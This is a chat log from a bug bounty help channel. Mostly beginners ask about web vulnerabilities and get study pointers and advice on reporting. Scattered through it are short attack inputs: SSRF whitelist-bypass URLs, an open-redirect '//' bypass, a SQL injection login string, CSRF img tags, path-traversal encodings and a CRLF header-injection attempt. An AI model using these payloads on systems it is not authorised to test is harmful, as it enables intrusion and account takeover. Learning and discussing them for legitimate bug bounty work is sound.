Anyone know how exploit or find sql injection via parameter ?not login page .

native token
#

A lot of people know how to identify and exploit that. The real question is, do you know how to do that?

#

Head over to portswigger academy and educate on it, it'll make sense and sink in

#

SQLI is very well documented

mild ravine
#

Exactly, also there is a roadmap and everything is for free. And, SQLi vulnarability is in fact in the 1st place of roadmap. Great resource.

silent agate
#

Hey guys, I switched an POST parameter(in the below error message, the POST parameter I changed is called messages) from a string to an array, and got this error
javax.ws.rs.ProcessingException: RESTEASY008200: JSON Binding deserialization error: javax.json.bind.JsonbException: Unable to deserialize property 'messages' because of: Can't deserialize JSON array into: class java.lang.String
Any ideas what more I can try next?

vocal folio
#

@fluid hare This channel is for bug bounty...

burnt cedar
#

@native token 👍

winged granite
#

Hello guys anybody to help with PDFs please

rain tusk
native token
#

@young spoke Where does hacktivism come on THM ruling? Ignore, thought it was the hack Russia one again- Turns out this one looks legit for Ukraine defence

#

me smooth brain this morning

fallen palm
#

This was brought up in General a few days ago, I pinged James just in case.

young spoke
#

All good, I read it the same way too haha

#

but ftr the ruling is that we don't condone it and people should be aware of the legal implications of doing stuff like that (i mean esp. if you're going after a state power currently at war) so we try to keep it out of here as best as possible (:

#

Can't really be seen as a recruiting grounds but we don't go mental about handling it

kindred lance
#

Please guys, where can I get a well paying job in cyber security or do bugbounty well

mighty wigeon
kindred lance
mighty wigeon
# kindred lance Not helping!

Buddy all the resources are available and are just a simple Google search away.. Follow Rachel Bicknell on Linkedin, she posts about jobs and internships. Use Linkedin more! Resources are available freely everywhere

fallen palm
#

Hi everybody, I’m new here!
I’m a software engineer transitioning to cybersecurity, I know about sql inj, XSS and other basic exploits, I’m looking to start with big bounties, but how do you get over the slump of the first times when you cannot find any vuln in the apps you’re testing?
I feel like I’ll never be able to complete bounties NotLikeThis

alpine robin
bleak gate
#

realistically how much skill/knowledge/experience is required to be successful at bug bounty’s?

fallen palm
#

@alpine robin 😆 true, it’s the feeling that I have not been a noob at something IT for so long, that not being able to do it feels overwhelming haha

cold tide
#

This is wherw u can Buy dhc 🤨?

#

Where *

high lichen
#

yo

#

im new here so wt to do here?

vocal folio
high lichen
#

K

#

Tq

cold tide
#

Yes

#

EXPLAIN

high lichen
#

Couldn't find about bug bounty in start here

void valley
uneven girder
tiny briar
#

some bug hunters hunting MAGENTO-CVE-2022-24086 here?

high lichen
gray blaze
hazy wraith
#

Hi , can anyone direct me to some premium labs to practice bug bounty?

gleaming epoch
#

Damn bounty hunting could be really excruciating. 3 dupes today lmao

civic umbra
#

I have found an IP on shodan related to a target, that returns this screen , upon looking with reverse DNS it points to some EC2 domain. Is there any apparent security issue with it? Any chance of EC2 domain takeover?

unknown.png
austere geyser
#

would it be okay if I post a link here for a platform that is currently being developed similar to bug bounty ?

winged granite
#

Yes I think

#

You've tried the HTB labs

lavish hollow
last leaf
#

google

terse dagger
#

Hi

civic umbra
#

Hi, while doing static analysis on an android apk via jadx, I have found google API key hardcoded in resources.arsc/strings.xml file. Is it a security issue? Can the key be used for malicious purpose?

native token
#

Depends on what the key is used for, google utilise many and quite a few are useless

terse dagger
#

Hi guys

#

Please tell me

vocal folio
terse dagger
#

Hi bro

#

India

vocal folio
#

Please don't call me bro. I don't understand how I can tell you "India".

terse dagger
#

Yes

#

And you

zinc dew
#

Does THM have a Bug Bounty program?

fallen palm
#

Yes.

#

!docs bug-bounty

marsh falconBOT
zinc dew
uneven galeBOT
#

Gave +1 Rep to @abstract jolt

zinc dew
#

The Scope has to be confusing, lol, "Test our website, which is full of vulnerable machines, for any vulnerabilities" lol. JK I know you would have to be connected to the vpn to mess that up

fallen palm
#

Not the website?

zinc dew
#

I was joking...

stray tapir
#

can I do XSS with inline CSS injection in a div?

# 
<div class="UserProfile" style="background-image: url('injection_here')">
</div>
#

limits: cloudflare WAF and " gets escaped to "

#

' doesn't

#

when the url is set to ');csshere I can injection CSS^

dusty pasture
#

The parsing of CSS will most likely be sandboxed 🤔

#

By the browser

zinc dew
stray tapir
#

thats CSS injection

#

I want to be able to execute code

opal meteor
stray tapir
#

or idk what you mean

opal meteor
stray tapir
#

are you sure that would work?

opal meteor
#

theres a website that has those things built in so you don't have to make a website

stray tapir
#

isn't that <script src=x.com>?

opal meteor
#

do you control the image?

stray tapir
#

you can't just inject HTML tags into CSS

hybrid orchid
#

You could do it with an SVG though

#

Link to an SVG that contains code

#

No idea if that would work with inline CSS 🤷‍♂️

hot merlin
#

Hey there folks

#

Any great free bug-bounty training program?

#

A great course

wise skiff
#

Tags like img don’t execute the code inside SVGs paradox

neat fossil
#

I am having issues decompiling a .lua file, appears to have a "LuaQ" header, but unlua and luadec have not been able to decompile it 😦 (has issues with the chunks)

bad header in precompiled chunk
The input chunk reports an invalid code for lua number integrality: 4
Any ideas?

mint prism
#

hello everyone
I'm dealing with the buffer overflow in windows 10
i find that I have to disable the DWORD value under HTTP from the registry
but I didn't find this value
is there any other solution?

prime river
zinc dew
# stray tapir no

Hey, yea I thought you were asking if you could pull off CSS injection, but after reading other answers, I got an idea...you can embed anything into a QR code (quickly with MSFT Edge), could you embed a link or something and the execution 'trigger' would be the scanning of the QR...

prime river
#

Thank you for sharing

uneven galeBOT
#

Gave +1 Rep to @heavy anvil

quaint elbow
#

Hey guys.
I'm new to cybersecurity

Suggest me a certification pathway/roadmap journey

Roadmap to my knowledge.
eJPT-->SEC+-->CEH--->eWPT

Any suggestions please?

whole tide
#

Ceh only for India,
Ejpt doesn't really provide that much ,on INE you have the free course if you want to walk through it.
Sec+ is usually a go to cert,some people recommend you do net+ and A+ before so you have the foundation for sec+.
Also this isn't the channel for this go to #cyber-and-careers

quaint elbow
uneven galeBOT
#

Gave +1 Rep to @whole tide

scarlet venture
low coyote
#

I have been researching about cors on pre-auth pages, but can't find enough materials, anyone got any idea?? Or could point in the right direction? If it's actually worth researching for?

rain raptor
#

guys,
which path is for bug-bounty on THM?

fallen palm
#

THM doesn't have a dedicated Bug bounty path.

opal meteor
#

Probably best to look at the “How The Web Works” module and look at ZTH obscure web vulnerabilities 1 and 2

hollow needle
#

The nahamstore room is a good one for bug bounty

#

Longest I've spent on completing a room tbh

opal meteor
hollow needle
#

Assuming medium rooms

opal meteor
hollow needle
#

I know dum dum

#

I know

opal meteor
#

You English bad

hollow needle
#

It better than you

opal meteor
opal meteor
#

!docs bug-bounty

marsh falconBOT
split venture
#

Can anyone tell me how to report for a information leakage vulnerability?

opal meteor
split venture
opal meteor
# split venture No on other website

look for the website Bug-Bounty program, try emailing support and asking about where to email for bug-bounty, got to the /.well-known/security.txt.

split venture
#

Okay got it

#

Thank you 🙂

tender hazel
#

yo

#

bug bounty maniks

#

maniaks

#

anyone on hackerone?

brisk shoal
#

How can i perform xss if "<" is blocked

naive frost
#

hey guys

#

which tryhackme room/path is best to learn bug bounty

#

and how to peactice them before going to bug bounty platforms

#

?

stray tapir
brisk shoal
#

I can perform attribute injection only when the value goes into the attributes like value="what i enter"
But that's not the case the value which i enter simply goes into the body

#

Its actually a challenge in owasp vulnerable web application master
Xss level 5

uncut cove
# naive frost ?

answer to question two is on the tryhackme page. answer to question one depends on what you like to do, and maybe what you already know how to do

uncut cove
# brisk shoal

also I can't see the end of that str_replace call? does it also block >? does it block ";

#

i think depending on the browser you could also use maybe b64 encoded < ?

#

someone else will probably have a reason that i am incorrect

brisk shoal
#

It only block "<" this character only

brisk shoal
low coyote
#

I had a question

#

what's the use of APP_CENTER_SECRET?? I do know that it's used while building apps and it makes a call to the REST APIs, but does it possess a security risk?

#

I tried searching google for it, But I can't seem to understand it

native token
#

From what I've found that key tends to be used more for sending telemetry data rather than holding any sort of auth purposes so doesn't pose much of a security risk

main chasm
#

Hi everyone, I have a question
While doing a bug bounty, I found a CVE on a subdomain of the website, the subdomain is neither mentioned in In-Scope nor in Out-Of-Scope. For you information, the CVE is CVE-2021-26085.
Now I am confused, should I directly report the vuln or not...

spring kraken
#

I think you should report it .

uncut cove
#

@brisk shoal in that case you should be able to escape by using a value ending with "; for $user

#

well, you'd put your injection after the ";

#

which would execute as the next call after that echo

brisk shoal
#

Oo yes

#

Didn't thought it like that

#

Yeah 🙏 thanks alot

uncut cove
#

np

native token
#

Besides from a small poc I'd recommend airing on the edge of caution until they response to the basic poc. Then if they request additional information to improve severity etc you can find what you need to flesh it out

main chasm
fallen palm
#

Hello Friends

#

I have a challenging VM Box for which I need to get a Root. Anybody interested here please DM me. As I am stuck somewhere and need guidance. It would be a great learning for you as well as its not an easy box.

fallen palm
#

I need a complete POC

sweet shuttle
#

Hello everyone I have a question regarding open redirects
This example url is vulnerable to open redirect but condition is that URL need to start with "/"

https:www.some_website_.com/redirect.php?uri=/

We can bypass this by using "//"
now the url becomes

https:www.some_website_.com/redirect.php?uri=//www.google.com

Here I am redirecting to google.com

#

I want to know how "//" is able to bypass and redirected to google.com

uneven girder
# sweet shuttle Hello everyone I have a question regarding open redirects This example url is vu...

/ is redirecting you to home page but // is redirecting you to another page, but regardless open redirect is often considered low to informative bug. While looking for open redirect, try to chain it with something else like XSS or CSRF, since there is a very low possibility you will be rewarded for only open redirect. This is because its low impact and also its a low hanging fruit which will be 99% duplicate.

stray tapir
#

How much time do you usually enumerate before finding a bug? I haven't really tried any programs yet because they all look like they've been tested 100 million times

jaunty marlin
#

Hey yall, I've been meaning to ask this for quite a bit... What's the most formal way to ask a company about their vulnerability payouts, even if they aren't apart of any bug bounty programs? I've found two CVEs, both ranked as critical 9.8s, but I'm not sure about how I should ask about their payouts, if they even have any.

gray portal
#

@stray tapir Enumeration is actually a continuous process. Continuous enumeration of target daily. Or you can use automation.

opal meteor
sweet shuttle
patent orchid
#

Hi bug hunters! I need a little help with the bug I may have found. I runned a Burp scanner on the site and it found out "External service interaction (DNS), I confirmed with Burp Collaborator that it does DNS lookup of type A for domains. My question is: How can I further exploit it?

brisk shoal
#

How can i use ' or 1=1# as username in hydra

snow shell
#

Either you can put it in a file and act like it is a wordlist or you can use \ to escape the characters that cause problems.

brisk shoal
#

Ok thanks

old umbra
lyric gale
#

any suggestions/tips heading to hackerone?

brisk shoal
#

I was performing recon and i found one subdomain on visiting it gives endpoint not found , can there be a vulnerability for subdomain takeover

bnc.png
hot merlin
uneven galeBOT
#

Gave +1 Rep to @uneven girder

fallen palm
#

Woaaaaaaaa

split sky
#

Hmmm

floral helm
#

What is sub domain enumeration and why do we need to do? Thanks

vocal folio
floral helm
#

TBH i dont

vocal folio
#

Ok, that should be your starting point

floral helm
#

I googled and tha lang was too gard for me to understand

vocal folio
#

Things will become a lot clearer after understand that

vocal folio
floral helm
#

Alright thanks a lot sir

#

But can you explain me in simple terms what is sub domain and domain too if you dont mind?

vocal folio
#

I'm about to go and buy groceries, and this is definitely something you can read up about.
Hacking is all about research and learning.

floral helm
river patio
#

Hello, I wanted to start with Bug bounty.
Can I join with anyone who is ready to share his/her knowledge with live bug hunting, how to look,and everything. Any help is really appreciated. Thanks in advance 🙏🏻

fallen palm
fallow thunder
#

Hello guys, I am new to bug hunting. However, I was working on one of the programs at bugcrowd.
Where I created two accounts on a website, and with a tweak of userid parameter in the url, I can access the password change page of another user.
I reported this as IDOR vulnerability, but the program owner discarded them saying , the password cannot be changed since you must know the password for changing it .
But isn't it a vulnerability ? Because you can access some other accounts password change page .

I need help in building up from here, like I have read blogs saying if you find an IDOR, try to make it into an xss, can anyone help me in how do I do that ?

low coyote
#

Or if you can find a way to bypass the password change functionality, you can also use the idor to change the victim's password

stray tapir
#

I'm able to inject bytes like 嘍嘊, which would decode to %E5%98%8D%E5%98%8A, into the location header

#

is it possible to pull off clrf injection / header injection?

#

webserver replies with location: https://xyz.com/img/.嘍嘊location: http://

stray tapir
#

^those are response headers

#

and yes, I can indeed do path traversal using /%2E%2E/%2E%2E/2E%2E%/2E%2E/

#

sucks that it's a redirect to storage.googleapis.com

fallen palm
#

Anyone here to help me out rooting a challenging box. I am stuck in rooting a box. There is a potential SSRF vulnerability and a jenkins instance running. Any assistance would be highly welcomed.

vocal folio
low coyote
#

Can anyone help me with what exactly is the function of the client_secret api key? From what i have read is that it's used for authorization and basically acts as a password, so recently i encountered an api key having the name of
Google_api_client_secret while testing my university android app,
Can anyone explain what is its function? Caus i tried reading a bit about it on Google docs but could not understand it

stoic elm
#

For example, this Google API (https://developers.google.com/adsense/host/v4.1/) can be used to interact with Google AdSense service. A client can then make HTTP calls (CRUD based / CREATE READ UPDATE DELETE) with the secret token to authenticate itself, and then ask for informations on related AdSense accounts on GET /accounts/account_id endpoint (the client providing the account_id value). Hope it helps 👍

low coyote
#

I seee, thanks a lot...i get it now😊

stoic elm
#

Ur welcome :)

fallen palm
stray tapir
#

What is an attack called where an attacker can send typical CSRF GET requests from the destination site using e.g. img tags?

#

e.g. <img src="/ajax/logout">

wise skiff
#

I think OSRF iirc

#

on-site request forgery?

wise skiff
stray tapir
#

pretty much causes DoS

#

and teachers will be unable to launch tests because they will be logged out in the start menu of the test

wise skiff
#

sounds like a reasonable impact definitely

stray tapir
#

Yeahh I already reported that, the other day, just wanted to know what it was called

#

am currently trying to bypass mitigations because I'm able to upload any filetype to the url that the mitigation expects

wise skiff
#

what mitigations are in place?

stray tapir
#

a whitelist for /files/open/*md5hash*

#

uses regex and it's length sensitive, and it checks if the file exists

wise skiff
#

but no file extensions?

stray tapir
#

nope

#

well

#

when I upload a file it makes a new url using the hash (which I can use as a pfp)

#

and it does not check filetype upon using it as a profile picture

wise skiff
#

I see

#

try mess with the filename I guess, some null bytes maybe

#

but sounds reasonably secure

#

but you can upload html files no problem?

stray tapir
#

yeah

wise skiff
#

is the file rendered, or just downloaded

stray tapir
#

download

#

wait nvm rendered

#

also I forgot to say, the /files/open/md5hash endpoints redirect to storage.googleapi.com, with the corresponding hash

#

it's not saved on the site

#

I tried to inject clrf and null bytes into the file extension (which is not filtered), but without success

wise skiff
#

oh it's stored using google?

#

damn

#

try a hash collision

#

I wonder what would happen

#

maybe would just say file already exists

stray tapir
#

you mean the SHAttered hash collision etc?

wise skiff
#

that's for the SHA-1 hashing algorithm though right

stray tapir
#

yeah

#

also, that can't happen because the hash involves a unix timestamp I think

#

because it changes every time I upload it

wise skiff
#

oh so it's not just a direct hash of the file

stray tapir
#

nope, sadly not

wise skiff
#

can you race it to see if you get the same hash in the same second

#

just to confirm your theory

#

sounds pretty secure

stray tapir
#

hm yeah

#

wouldn't be surprised if it involved a unique id as well (it increments by 1 each time I upload)

#

but I'll try it out

#

I've reported several critical bugs before for that company, so I wouldn't be surprised if there's a way

wise skiff
#

that's always a good sign I guess

#

a h1 target?

#

what are you hunting on these days

stray tapir
#

h1 private programs

wise skiff
#

decent

#

and just focusing on manual work?

stray tapir
#

yeah

#

I've scanned a bit with burpsuite pro as well, but most of the vulnerabilities are stored and show up on other places so bs scanning barely helped

#

it did confirm a certain vulnerability, which I didn't know how to confirm

wise skiff
#

what was that vuln?

opal meteor
#

Maybe try to leverage existing HTML syntax to make your own tags?

slate fossil
#

anyone got any good resources to demonstrate app testing on OSX?... I've found a really odd quality of life feature which I think could have some interesting exploitation angles if it doesn't sanitize input correctly.

sweet shuttle
#

Hello everyone It's regarding ssrf (Server Side Request Forgery)
can some tell how these url works normally Like I know that these payload are bypassing whitelisting but I want to know @,# and third highlighted case is working For example:
http://www.anydomain.com@localhost:1245
http://www.anydomain.com.localhost:1234
like http://www.anydomain.com itself sufficient adding .localhost:1234 or @localhost:1234 must will make url it invalid, like how above url is able to fetch content or it's working how it's redirecting to localhost:1234
For reference you can refer this :
https://portswigger.net/web-security/ssrf

unknown.png
What is SSRF (Server-side request forgery)? Tutorial & Examples | W...

In this section, we'll explain what server-side request forgery is, describe some common examples, and explain how to find and exploit various kinds of SSRF ...

low coyote
#

I had a question

finite ice
#

Hey

tacit pollen
#

Hey guys need your help .. any exploits I can use or tips for POC on Apache server version 2.4.6 . I have found it’s vulnerable but just need to show an exploit on doing this for POC .. any tips or help will be highly appreciate

quartz aspen
valid tapir
#

Why do people get paid very well for XSS attacks?

#

Given that they are extremely common

hollow halo
#

Hi all, I have a question about SSRF. I have a payload that popped up on my interactsh client, but what's a good way to actually verify fully that it works? interactsh connections just don't seem like a good PoC to me, if it is then let me know.

wise skiff
#

a callback should be alright with the poc of how you got that callback

#

you might want to try and escalate severity though

#

See if any interesting headers are passed

#

Or if you can return the output from the request

stray tapir
#

looks like I'm getting a 15-30h a week software testing job at a 30 emp company in the vacation

#

am incredibly excited, don't know my wage yet as I will have another meeting with the folks who do the paperwork

vocal folio
valid tapir
#

Impactful in what way?

vocal folio
#

Do you understand XSS?
Having code execution in their browser means you can control everything they can see and everything they could click on

valid tapir
#

I am understanding XSS more and more

vocal folio
#

You could redefine links to link them to phishing sites, you could change account numbers that they're sending money to (if you had an XSS on that page)

#

And this is all assuming the app has HttpOnly on its session cookies otherwise you can just grab their cookie and takeover their session

wet bobcat
#

How many years did it take you guys to be able to successfully bounty hunt?

stray tapir
#

literally less than 6 months

#

depends on how much time you spend on it and how good your background in tech is

opal meteor
stray tapir
#

perhaps

#

in the past few months I've been searching for more complex bugs such as race conditions, auth issues, etc

hollow halo
#

Right, so I have a question. I'm able to get an endpoint to make a GET request to a user-defined domain, when it shouldn't be. What can I actually do with this information? Can I get the target to download a file somehow? RCE somehow? I honestly have never encountered this behaviour.

mighty wigeon
#

Maybe u could escalate it to XSS or RCE.. Try it out

low coyote
#

In source code, i found an ip which is leading to an exposed docker container, i am able to list the version , but there are no docker images present in that when i tried to view the image , so is it worth reporting? Or is it an expected behavior

hollow halo
#

My main problem is that the input is an email field, so it'd have to be on the root domain only (ie, no url.com/file.sh, or anything like that)

mighty wigeon
#

This could help you in getting security credentials (in some case temporary credentials). So you could use that to query the AWS metadata instance through SSRF.

wise skiff
#

or a HTTP request etc.

mighty wigeon
wise skiff
#

it may well be SSRF

#

could be tricky to prove impact/severity though

mighty wigeon
wise skiff
#

well if he can only get the root of the website

#

maybe see if it follows redirects

#

that's probably his best bet

#

or see if any headers are passed

next abyss
#

Hi gus

#

Guys*

#

I need one help regarding api testing

hollow halo
#

@mighty wigeon @wise skiff That's my question, I'm not sure what my options are as to escalating. I'll definitely give the redirect thing a go though

#

And no, there's no abnormal headers in the request

wise skiff
mighty wigeon
#

Update us on the situation as well. It's great discussing about this and ur bug hunting process

wise skiff
#

or was that header not sent

slender grove
#

alr i might have asked this question before but how as a teen could i use hackerone for bug bounty

unborn ice
#

I think there is an age restriction on it. IIRC.

#

Lol, NVM.

#

It's 13.

slender grove
#

yeah, so would there be any liability papers or something

#

or like, payment wise

unborn ice
#

I'm unsure about that, sorry.

peak oyster
#

Hello everybody, i am aoxsin.

static tartan
hollow halo
#

Which is... not current

wise skiff
#

huh, that's a weird user agent definitely

#

especially for a bot to visit that

#

how did the redirect go?

hollow halo
#

Haven't tried yet, I will now, but how can I set up something that would redirect where I can still capture the actual request?

wise skiff
#

I’d just set up a flask server on a VPS that points to something like requestbin

#

and just see if the requestbin gets hit

peak vapor
#

The other day i reported my first bug and i got paid 200 USD :)))

fallen palm
sharp lotus
peak vapor
#

They are a webdev company

peak vapor
#

so i went to the portfolio of this company and made a script that checked how many of these websites were affected by the same exact payload

#

and it was over 100

sharp lotus
#

@peak vapor I'm a manager for a webdev shop, I'd love to hear more about what you found & how ... I'm actually paying out my first bug bounty to another independent researcher for finding something unreleated to the web haha 😛 ... DM me sometime if you wanna chat about it 👍

peak vapor
#

thanks!

uneven galeBOT
#

Gave +1 Rep to @lapis horizon

vocal folio
peak vapor
peak vapor
wise skiff
#

Congrats @peak vapor

#

Was it through a bug bounty platform

#

Or an individual disclosure

magic summit
#

can anyone suggest me how can bypass 403 (forbidden) to see directory content.
Ping me if replying .

peak vapor
peak vapor
reef canopy
#

Hi all, need a piece of advice. What would you suggest to automate the "technology lookup/built-with" part of a recon for a large scope of domains. Sadly the free API option of built with doesn't offer info on subdomains so it's useless unless paid.

brisk shoal
#

Hello everyone, will someone collaborate with me in finding my first bug?

tough sail
#

Hey I have a question for anyone knowledgeable, I think I stumbled onto a bug on a website I was visiting. You could use a password with or without a symbol at the end to log into the same account, I'm assuming this is bad, correct?

wise skiff
#

yes

#

there’s some weird normalisation going on

#

can you create an account with a symbol on the end

tough sail
#

Username with symbol or a password? I have no symbol on the back end of the current account but adding a symbol will still log me into the account. I'm thinking of reporting it but I want to be able to tell the succinctly what's going on, and I'm still new to this.

wise skiff
#

so

#

if you create two accounts say test and test$ (or whatever symbols work in this instance)

#

with different passwords

#

can you log into test with the password of test$

#

if that makes sense

#

It's definitely worth reporting regardless though, sounds funky

tough sail
#

I know that it would def make a dictionary attack much easier, I'm going to report it, but I was trying to leverage some $$$

#

It would look great on a cyber resume 😛

wise skiff
#

yeah definitely

#

what special characters does it ignore

tough sail
#

I know ' ! ' for sure

wise skiff
#

okay, try enumerate more I'd say

tough sail
#

Ok I've tried '! @ #' at the end of the test pass on the new account and they are all accepted. How could this be exploited, I know using cupp.py to create custom wordlists and username lists could benefit, is there anything else I'm missing, I am reporting now.

#

@wise skiff

wise skiff
#

erm

#

did you try the account thing I mentioned previously

#

to check if you can access a *different account

#

if you can

#

that'd escalate it to full account takeover, which is normally a high/critical bug

normal crescent
#

Friendly tip:While doing this^ try only using accounts created by you

hybrid orchid
#

Yeah, don't ever attack accounts that don't belong to you

#

If you can't create more than one account, contact the site operators, tell them about the bug, and ask for a second one to prove it

tardy elm
#

Well I assume if it strips symbols first then it should be querying DB for the hash of actual 'user' and not 'user' . [symbol] ... I can't think off the top of my head of how it would do otherwise but I'm sure this is still a should

balmy quartz
# magic summit can anyone suggest me how can bypass 403 (forbidden) to see directory content. P...

I wrote about it as much I know, you can read it here
https://github.com/KathanP19/HowToHunt/blob/master/Status_Code_Bypass/403Bypass.md

and here is the POC video
https://youtu.be/J30KmyQetO0

GitHub
HowToHunt/403Bypass.md at master · KathanP19/HowToHunt

Tutorials and Things to Do while Hunting Vulnerability. - HowToHunt/403Bypass.md at master · KathanP19/HowToHunt

YouTube
remonsec
Information Disclosure | #bugbountypoc | @remonsec
▶ Play video
hollow garnet
#

hey guys just a question on windows 10 would this be a bug Worth investigating

20220425_013349.jpg
vocal folio
#

This doesn't seem overly related to bug bounty. Is this your video?

unborn ice
#

I did mean to tag you, but I didn't press enter.

outer roost
#

403 Forbidden
Microsoft-Azure-Application-Gateway/v2 i m at this page anyone know the wordlist so that i can fuzz it further

late lark
#

hi guys, i am a beginner and i want to start bug bounty. To identify minor bugs and earn minor amounts, which skillsets do i need to have? And which rooms do you recommend to? Any recommendation is appreciated 🙂

#

thank you 🙂

uneven galeBOT
#

Gave +1 Rep to @lapis horizon

low coyote
#

while i was trying to send a curl request to a few IP addresses, iam getting this <script> if(console && console.log) { console.log("host.value.ip.address"); console.log("Unable to resolve tenant with host value as IP."); } </script>

#

any idea what does it means

hallow tundra
peak vapor
fallen palm
low coyote
#

Can anyone suggest some good crawling tools?? I use gau, wayback... Would really love some other suggestions.. Specially if they are able to find parameters

fallen palm
late lark
#

@fallen palm Thank you, i will go after it. Do you have any suggestions?

uneven galeBOT
#

Gave +1 Rep to @twin heath

fallen palm
late lark
#

Thank you :)

steep pulsar
fallen palm
stray tapir
#

How does prototype pollution happen in practice?

#

^which can't just be escalated to XSS

#

because the only way I can imagine it happening is eval(), but iirc you can just turn it into XSS at that point

nimble stratus
#

Is Count.cgi vulnerable still?

thorn parcel
#

And depending on the code that then used the object, it can have different outcomes

#

You could do prototype pollution in something like vue to pollute a template/component and that could result in xss

#

But you also could pollute the default object with a property that is not present normally in settings for another portion of the code and trigger unwanted behaviour

cursive smelt
#

Hi all. Beginner here, struggling to identify potential targets. I use Intigriti (so as to not have huge competition from the main bugcrowd and hack1, etc).
I primarily know about IDOR, XXS, SQLi. and know next to nothing about mobile, so of course I've been going for web apps.
My issue is, at a glance and after initial recon of subdomains with live http requests and checking out various input fields using burp, I can't seem to identify which targets are more robust and which might be more beginner friendly.

is there some up to date cheat-sheet I can use to test for waf bypasses or for known vulnerable parameters and such?
essentially, I'd like to write-off targets that may be too difficult for someone at a more beginner level

thorn parcel
cursive smelt
uneven galeBOT
#

Gave +1 Rep to @thorn parcel

thorn parcel
#

not sure if it's worth trying to try and look for smaller platforms, maybe someone else here has another opinion on that but i'd think that the amount of people - even when it does mean bigger potential competition - doesn't always mean that you will actually have that many competitors on a program, especially if you dig into it and don't stop at low hanging fruit

cursive smelt
#

ok cool, that's good to know

sweet shuttle
#

Can any one suggest how to learn to write XSS payload ?
find very difficult to solve xss challenge lab

charred fable
#

Learn JavaScript

sweet shuttle
merry elk
# sweet shuttle what level of JavaScript ? Basic or Intermediate or Advanced? or studying about ...

I think it depends on what level of the lab that you want to solve? I formerly an intermediate web dev, and have es6 on my skillset, I find it very helpful..

you can start with these links:

A re-introduction to JavaScript (JS tutorial) - JavaScript | MDN

Why a re-introduction? Because JavaScript is notorious for being misunderstood. It is often derided as being a toy, but beneath its layer of deceptive simplicity, powerful language features await. JavaScript is now used by an incredible number of high-profile applications, showing that deeper knowledge of this technology is an important skill fo...

The Modern JavaScript Tutorial
sweet shuttle
uneven galeBOT
#

Gave +1 Rep to @merry elk

charred fable
#

Knowing what tools you have available to you when writing any kind of code is important if you want to do any kind of bypassing

#

Like if we’re talking about Linux command injection, to write your own payload, you need to know Bash to string things together effectively.

hybrid orchid
#

/s

vocal folio
hybrid orchid
#

Yeeeeeaaaaaaap

charred fable
#

Is this about PyScript?

hybrid orchid
#

Mhm

charred fable
#

I genuinely don't get the appeal of it other than having the ability to throw Python in some other place where you don't really need it

#

but I haven't looked into it too much

vocal folio
#

It's just a WASM python interpreter

hybrid orchid
vocal folio
hybrid orchid
#

Yeah, figured it would be

#

So, yes, XSS with it, but probably not very common kekw

low coyote
#

password token leakage by referer header, but instead of it being leaked through after clicking a third-party site like fb or insta, it's being leaked in the referer token in the same site...Is there any security impact because of this?

stray tapir
#

Am I the only one who doesn't see bug bounty as hacking?

#

when I think about hacking I think of exploiting that bug

stray tapir
#

Yeah but misconfigurations (which is most of the bug bounty reports)

#

like XSS, IDOR, et cetera. I wouldn't call that an exploit personally

#

(I know that XSS isn't a misconfiguration but .innerHTML instead of .innerText is the code equivalent of a typo)

vocal folio
#

For XSS, you're exploiting an injection flaw.

agile ruin
#

hey! I have a question about rate limiting, is anyone up to answer 😅 thanks in advance 😄

river patio
#

Hello, I am trying to bypass a login pop-up on a website. I tried googling, but cannot find anything. Can anyone guide me in the right direction. Any help/advice is appreciated and thanked in advance.

agile ruin
vocal folio
dreamy stream
#

Hi guys, I'm developing something to improve encryption. MVP is ready. I don't want to brake server rules and advertise, so please advise how to approach enthusiasts to give a try to break a sample file? Thanks in advance!

vocal folio
dreamy stream
uneven galeBOT
#

Gave +1 Rep to @vocal folio

river patio
hollow garnet
#

hey @vocal folio i have a question bug bounty related but i was wondering if i could dm you first to help narrow down the scope of the question before i post it (im also not sure what questions i need to be asking in this unique situation. and i dont want to needlessly add confusion).

wise skiff
#

does anyone know if it’s possible to access/edit localstorage in the child iframe

#

It appears it’s possible to access the localstorage of the parent from within the iframe

#

but can’t find anything on the reverse

hybrid orchid
#

If you, as the developer of the parent, choose to include the child in an iframe then you're effectively trusting the child, but the child has not given you trust

#

Again, could be wrong, but that would be inline with most other browser security policies

wise skiff
#

Yeah looks like Same Origin Policy comes into play here

#

So I’d need to find a way to exploit that if I wanted it to work

hybrid orchid
#

Mhm

#

If it is a browser protection thing (and I would put money on that being the case) then you're gonna struggle to bypass it tbh -- especially for local storage rather than cookies

wise skiff
#

It’s a pain

#

If it was cookies I’d be able to get it

#

due to another vuln

#

And it’s a full ATO bashzoom

sweet shuttle
vocal folio
# sweet shuttle Can any one explain me this request: ``` GET /index.html HTTP/1.1 Host: example....

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Host#:~:text=The X-Forwarded-Host (XFH) header is a de-facto standard header for identifying the original host requested by the client in the Host HTTP request header.

X-Forwarded-Host - HTTP | MDN

The X-Forwarded-Host (XFH) header is a de-facto standard
header for identifying the original host requested by the client in the
Host HTTP request header.

sweet shuttle
uneven galeBOT
#

Gave +1 Rep to @vocal folio

sweet shuttle
vocal folio
sweet shuttle
vocal folio
sweet shuttle
vocal folio
#

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Host#:~:text=Host names and ports of reverse proxies (load balancers%2C CDNs) may differ from the origin server handling the request%2C in that case the X-Forwarded-Host header is useful to determine which Host was originally used.
This is the really important part about that header.

X-Forwarded-Host - HTTP | MDN

The X-Forwarded-Host (XFH) header is a de-facto standard
header for identifying the original host requested by the client in the
Host HTTP request header.

sweet shuttle
uneven galeBOT
#

Gave +1 Rep to @vocal folio

halcyon crater
#

can somebody help me to get a flag on web based challenge please?

#

out of 5 i got 2 flags

vocal folio
halcyon crater
#

need 1-2 more

#

yeah but bug bounty is all about web based cahllenge right?>

vocal folio
#

No, it's definitively not CTF

green halo
#

hi guys i found an endpoint that redirect me to home page when entering a /comment/. is this means i found a sqli ? and how can i proof it ?

pale tide
#

Hello everyone ! . I want to focus bug bounty, but as a person without background, I started with basic cyber security. As a beginner, your suggestions will be very valuable to me. I would be very happy if you share your suggestions with me.

little meteor
#

well first do the pre-security path on https://tryhackme.com then do web fundamentals path.... and you should be decent at bug bounty after probably

TryHackMe
TryHackMe | Cyber Security Training

TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

#

but just so you know living of bug bounties is hard

#

it is more like a small pass time you can do a few times to have fun

last elm
#

Hi chat
I have that domain when I browse it , it redirects me to domain.com/en/index.php

And I have fuzz at domain.com/FUZZ I have found /phpmyadmin when I open this path I got the source code of the phpmyadmin and I can see the source code of sql.php but I couldn’t find db name or anything sensitive

Should I report it ?

